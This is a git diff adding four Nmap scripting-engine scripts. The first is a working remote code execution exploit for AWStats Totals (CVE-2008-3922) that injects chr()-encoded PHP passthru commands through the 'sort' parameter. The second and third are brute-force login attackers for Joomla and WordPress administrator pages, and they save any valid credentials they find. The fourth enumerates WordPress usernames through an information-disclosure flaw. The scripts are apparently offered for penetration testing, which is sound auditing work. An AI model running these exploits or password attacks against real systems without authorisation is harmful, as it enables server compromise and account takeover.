diff --git a/scripts/http-awstatstotals-exec.nse b/scripts/http-awstatstotals-exec.nse new file mode 100644 index 000000000..e5eee9991 --- /dev/null +++ b/scripts/http-awstatstotals-exec.nse @@ -0,0 +1,130 @@ +description = [[ + http-awstatstotals-exec exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14 and possibly other products based on it. [CVE: 2008-3922] + +This vulnerability can be exploited through the GET variable sort. The script queries the web server with the command payload encoded using PHP's chr() function: +?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}} + +Common paths for Awstats Total: +* /awstats/index.php +* /awstatstotals/index.php +* /awstats/awstatstotals.php + +References: +* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922 +* http://www.exploit-db.com/exploits/17324/ +]] + +--- +-- @usage +-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' +-- nmap -sV --script http-awstatstotals-exec.nse +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-awstatstotals-exec.nse: +-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux +-- +-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php +-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami +-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file. +--- +-- Other useful args when running this script: +-- http.useragent - User Agent to use in GET request +-- + +author = "Paulino Calderon" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"vuln", "intrusive", "exploit"} + +require "shortport" +require "http" +require "url" + +portrule = shortport.http + +--default values +local DEFAULT_CMD = "whoami" +local DEFAULT_URI = "/index.php" + +--- +--Writes string to file +-- @param filename Filename to write +-- @param content Content string +-- @return boolean status +-- @return string error +--Taken from: hostmap.nse +local function write_file(filename, contents) + local f, err = io.open(filename, "w") + if not f then + return f, err + end + f:write(contents) + f:close() + return true +end + +--- +--Checks if Awstats Totals installation seems to be there +-- @param host Host table +-- @param port Port table +-- @param path Path pointing to AWStats Totals +-- @return true if awstats totals is found +local function check_installation(host, port, path) + local check_req = http.get(host, port, path) + if not(http.response_contains(check_req, "AWStats")) then + return false + end + return true +end + +--- +--MAIN +--- +action = function(host, port) + local output = {} + local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI + local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD + local out = stdnse.get_script_args("http-awstatstotals-exec.outfile") + + --check for awstats signature + local awstats_check = check_installation(host, port, uri) + if not(awstats_check) then + stdnse.print_debug(1, "%s:This does not look like Awstats Totals. Quitting.", SCRIPT_NAME) + return + end + + --Encode payload using PHP's chr() + local encoded_payload = "" + cmd:gsub(".", function(c) encoded_payload = encoded_payload .."chr("..string.byte(c)..")." end) + if string.sub(encoded_payload, #encoded_payload) == "." then + encoded_payload = string.sub(encoded_payload, 1, #encoded_payload-1) + end + local stealth_payload = "?sort={%24{passthru%28"..encoded_payload.."%29}}{%24{exit%28%29}}" + + --set payload and send request + local req = http.get(host, port, uri .. stealth_payload) + if req.status and req.status == 200 then + output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body) + + --if out set, save output to file + if out then + local status, err = write_file(out, req.body) + if status then + output[#output+1] = string.format("Output saved to %s\n", out) + else + output[#output+1] = string.format("Error saving output to %s: %s\n", out, err) + end + end + + else + if nmap.verbosity()>= 2 then + output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request" + end + end + + --output + if #output>0 then + return stdnse.strjoin("\n", output) + end +end diff --git a/scripts/http-joomla-brute.nse b/scripts/http-joomla-brute.nse new file mode 100644 index 000000000..075f81413 --- /dev/null +++ b/scripts/http-joomla-brute.nse @@ -0,0 +1,146 @@ +description = [[ +Performs a brute force password attack against Joomla installations. + +This script initially reads the session cookie and parses the security token to perfom the brute force password auditing. +It uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the +credentials library. + +Joomla's default uri and form names: +* Default uri:/administrator/index.php +* Default uservar: username +* Default passvar: passwd +]] + +--- +-- @usage +-- nmap -sV --script http-joomla-brute +-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com, +-- http-joomla-brute.threads=3,brute.firstonly=true' +-- nmap -sV --script http-joomla-brute +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-joomla-brute: +-- | Accounts +-- | xdeadbee:i79eWBj07g => Login correct +-- | Statistics +-- |_ Perfomed 499 guesses in 301 seconds, average tps: 0 +-- +-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php +-- @args http-joomla-brute.hostname Virtual Hostname Header +-- @args http-joomla-brute.uservar sets the http-variable name that holds the +-- username used to authenticate. Default: username +-- @args http-joomla-brute.passvar sets the http-variable name that holds the +-- password used to authenticate. Default: passwd +-- @args http-joomla-brute.threads sets the number of threads. Default: 3 +-- +-- Other useful arguments when using this script are: +-- * http.useragent = String - User Agent used in HTTP requests +-- * brute.firstonly = Boolean - Stop attack when the first credentials are found +-- * brute.mode = user/creds/pass - Username password iterator +-- * passdb = String - Path to password list +-- * userdb = String - Path to user list +-- +-- +-- Based on Patrik Karlsson's http-form-brute +-- + +author = "Paulino Calderon" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} + +require 'shortport' +require 'http' +require 'brute' +require 'creds' + +portrule = shortport.http + +local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php" +local DEFAULT_JOOMLA_USERVAR = "username" +local DEFAULT_JOOMLA_PASSVAR = "passwd" +local DEFAULT_THREAD_NUM = 3 + +local security_token +local session_cookie_str + +--- +--This class implements the Brute library (http://nmap.org/nsedoc/lib/brute.html) +--- +Driver = { + new = function(self, host, port, options) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host + o.port = port + o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI + o.options = options + return o + end, + + connect = function( self ) + return true + end, + + login = function( self, username, password ) + stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token) + local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil, + { [self.options.uservar] = username, [self.options.passvar] = password, + [security_token] = 1, lang = "", option = "com_login", task = "login" } ) + + if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then + stdnse.print_debug(2, "Response:\n%s", response.body) + local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port ) + c:add(username, password, creds.State.VALID ) + return true, brute.Account:new( username, password, "OPEN") + end + return false, brute.Error:new( "Incorrect password" ) + end, + + disconnect = function( self ) + return true + end, + + check = function( self ) + local response = http.get( self.host, self.port, self.uri ) + stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) + -- Check if password field is there + if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then + stdnse.print_debug(1, "Initial check passed. Launching brute force attack") + session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"]; + if response.body then + _, _, security_token = string.find(response.body, '') + end + if security_token then + stdnse.print_debug(2, "Security Token found:%s", security_token) + else + stdnse.print_debug(2, "The security token was not found.") + return false + end + + return true + else + stdnse.print_debug(1, "Initial check failed. Password field wasn't found") + end + return false + end + +} +--- +--MAIN +--- +action = function( host, port ) + local status, result, engine + local uservar = stdnse.get_script_args('http-joomla-brute.uservar') or DEFAULT_JOOMLA_USERVAR + local passvar = stdnse.get_script_args('http-joomla-brute.passvar') or DEFAULT_JOOMLA_PASSVAR + local thread_num = stdnse.get_script_args("http-joomla-brute.threads") or DEFAULT_THREAD_NUM + + engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } ) + engine:setMaxThreads(thread_num) + engine.options.script_name = SCRIPT_NAME + status, result = engine:start() + + return result +end diff --git a/scripts/http-wordpress-brute.nse b/scripts/http-wordpress-brute.nse new file mode 100644 index 000000000..0b70d2110 --- /dev/null +++ b/scripts/http-wordpress-brute.nse @@ -0,0 +1,134 @@ +description = [[ +Performs a brute force password attack against Wordpress installations. + +This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are +stored using the credentials library. + +Wordpress default uri and form names: +* Default uri:wp-login.php +* Default uservar: log +* Default passvar: pwd +]] + +--- +-- @usage +-- nmap -sV --script http-wordpress-brute +-- nmap -sV --script http-wordpress-brute +-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com, +-- http-wordpress-brute.threads=3,brute.firstonly=true' +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-wordpress-brute: +-- | Accounts +-- | 0xdeadb33f:god => Login correct +-- | Statistics +-- |_ Perfomed 103 guesses in 17 seconds, average tps: 6 +-- +-- @args http-wordpress-brute.uri points to the file 'wp-login.php'. Default /wp-login.php +-- @args http-wordpress-brute.hostname sets the host header in case of virtual +-- hosting +-- @args http-wordpress-brute.uservar sets the http-variable name that holds the +-- username used to authenticate. Default: log +-- @args http-wordpress-brute.passvar sets the http-variable name that holds the +-- password used to authenticate. Default: pwd +-- @args http-wordpress-brute.threads sets the number of threads. Default: 3 +-- +-- Other useful arguments when using this script are: +-- * http.useragent = String - User Agent used in HTTP requests +-- * brute.firstonly = Boolean - Stop attack when the first credentials are found +-- * brute.mode = user/creds/pass - Username password iterator +-- * passdb = String - Path to password list +-- * userdb = String - Path to user list +-- +-- Based on Patrik Karlsson's http-form-brute +-- + +author = "Paulino Calderon" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} + +require 'shortport' +require 'http' +require 'brute' +require 'creds' + +portrule = shortport.http + +local DEFAULT_WP_URI = "/wp-login.php" +local DEFAULT_WP_USERVAR = "log" +local DEFAULT_WP_PASSVAR = "pwd" +local DEFAULT_THREAD_NUM = 3 + +--- +--This class implements the Driver class from the Brute library +--- +Driver = { + new = function(self, host, port, options) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host + o.port = port + o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI + o.options = options + return o + end, + + connect = function( self ) + -- This will cause problems, as ther is no way for us to "reserve" + -- a socket. We may end up here early with a set of credentials + -- which won't be guessed until the end, due to socket exhaustion. + return true + end, + + login = function( self, username, password ) + -- Note the no_cache directive + stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri) + local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } ) + -- This redirect is taking us to /wp-admin + if response.status == 302 then + local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port ) + c:add(username, password, creds.State.VALID ) + return true, brute.Account:new( username, password, "OPEN") + end + + return false, brute.Error:new( "Incorrect password" ) + end, + + disconnect = function( self ) + return true + end, + + check = function( self ) + local response = http.get( self.host, self.port, self.uri ) + stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) + -- Check if password field is there + if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then + stdnse.print_debug(1, "Initial check passed. Launching brute force attack") + return true + else + stdnse.print_debug(1, "Initial check failed. Password field wasn't found") + end + + return false + end + +} +--- +--MAIN +--- +action = function( host, port ) + local status, result, engine + local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR + local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR + local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM + + engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } ) + engine:setMaxThreads(thread_num) + engine.options.script_name = SCRIPT_NAME + status, result = engine:start() + + return result +end diff --git a/scripts/http-wp-enum.nse b/scripts/http-wp-enum.nse new file mode 100644 index 000000000..1bf2ff130 --- /dev/null +++ b/scripts/http-wp-enum.nse @@ -0,0 +1,137 @@ +description = [[ +http-wp-enum enumerates usernames in Wordpress installations by exploiting an information disclosure vulnerability +existing in versions 2.6, 3.1, 3.1.1, 3.1.3 and 3.2-beta2 and possibly others. + +Original advisory: +* http://www.talsoft.com.ar/index.php/research/security-advisories/wordpress-user-id-and-user-name-disclosure +]] + +--- +-- @usage +-- nmap -p80 --script http-wp-enum +-- nmap -sV --script http-wp-enum --script-args limit=50 +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-wp-enum: +-- | Username found: admin +-- | Username found: mauricio +-- | Username found: cesar +-- | Username found: lean +-- | Username found: alex +-- | Username found: ricardo +-- |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wp-enum.limit' +-- +-- @args http-wp-enum.limit Upper limit for ID search. Default: 25 +-- @args http-wp-enum.basepath Base path to Wordpress. Default: / +-- @args http-wp-enum.out If set it saves the username list in this file. +--- + +author = "Paulino Calderon" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"discovery", "auth", "intrusive", "vuln"} + +require "shortport" +require "http" + +portrule = shortport.http + +--- +-- Returns the username extracted from the url corresponding to the id passed +-- If user id doesn't exists returns false +-- @param host Host table +-- @param port Port table +-- @param path Base path to WP +-- @param id User id +-- @return false if not found otherwise it returns the username +--- +local function get_wp_user(host, port, path, id) + stdnse.print_debug(2, "%s: Trying to get username with id %s", SCRIPT_NAME, id) + local req = http.get(host, port, path.."?author="..id, { no_cache = true}) + if req.status then + stdnse.print_debug(1, "%s: User id #%s returned status %s", SCRIPT_NAME, id, req.status) + if req.status == 301 then + local _, _, user = string.find(req.header.location, 'http://.*/.*/(.*)/') + return user + end + end + return false +end + +--- +--Returns true if WP installation exists. +--We assume an installation exists if wp-login.php is found +--@param host Host table +--@param port Port table +--@param path Path to WP +--@return True if WP was found +-- +local function check_wp(host, port, path) + stdnse.print_debug(2, "%s:Checking %swp-login.php ", SCRIPT_NAME, path) + local req = http.get(host, port, path.."wp-login.php", {no_cache=true}) + if req.status and req.status == 200 then + return true + end + return false +end + +--- +--Writes string to file +--Taken from: hostmap.nse +--@param filename Target filename +--@param contents String to save +--@return true when successful +local function write_file(filename, contents) + local f, err = io.open(filename, "w") + if not f then + return f, err + end + f:write(contents) + f:close() + return true +end + + +--- +--MAIN +--- +action = function(host, port) + local basepath = stdnse.get_script_args("http-wp-enum.basepath") or "/" + local limit = stdnse.get_script_args("http-wp-enum.limit") or 25 + local filewrite = stdnse.get_script_args("http-wp-enum.out") + local output = {""} + local users = {} + --First, we check this is WP + if not(check_wp(host, port, basepath)) then + if nmap.verbosity() >= 2 then + return "[Error] Wordpress installation was not found. We couldn't find wp-login.php" + else + return + end + end + + --Incrementing ids to enum users + for i=1, tonumber(limit) do + local user = get_wp_user(host, port, basepath, i) + if user then + stdnse.print_debug(1, "%s: Username found -> %s", SCRIPT_NAME, user) + output[#output+1] = string.format("Username found: %s", user) + users[#users+1] = user + end + end + + if filewrite and #users>0 then + local status, err = write_file(filewrite, stdnse.strjoin("\n", users)) + if status then + output[#output+1] = string.format("Users saved to %s\n", filewrite) + else + output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err) + end + end + + if #output > 1 then + output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wp-enum.limit'", limit) + return stdnse.strjoin("\n", output) + end +end diff --git a/scripts/script.db b/scripts/script.db index ceca5bd80..a4407b5ab 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -69,6 +69,7 @@ Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "s Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } } Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } } Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } } +Entry { filename = "http-awstatstotals-exec.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } } Entry { filename = "http-brute.nse", categories = { "auth", "intrusive", } } @@ -82,6 +83,7 @@ Entry { filename = "http-form-brute.nse", categories = { "auth", "intrusive", } Entry { filename = "http-google-malware.nse", categories = { "discovery", "external", "malware", "safe", } } Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } } Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } } +Entry { filename = "http-joomla-brute.nse", categories = { "auth", "intrusive", } } Entry { filename = "http-litespeed-sourcecode-download.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } } @@ -96,6 +98,8 @@ Entry { filename = "http-userdir-enum.nse", categories = { "discovery", "intrusi Entry { filename = "http-vhosts.nse", categories = { "discovery", "intrusive", } } Entry { filename = "http-vmware-path-vuln.nse", categories = { "default", "safe", "vuln", } } Entry { filename = "http-waf-detect.nse", categories = { "discovery", "intrusive", } } +Entry { filename = "http-wordpress-brute.nse", categories = { "auth", "intrusive", } } +Entry { filename = "http-wp-enum.nse", categories = { "auth", "discovery", "intrusive", "vuln", } } Entry { filename = "http-wp-plugins.nse", categories = { "discovery", "intrusive", } } Entry { filename = "iax2-version.nse", categories = { "version", } } Entry { filename = "imap-brute.nse", categories = { "auth", "intrusive", } }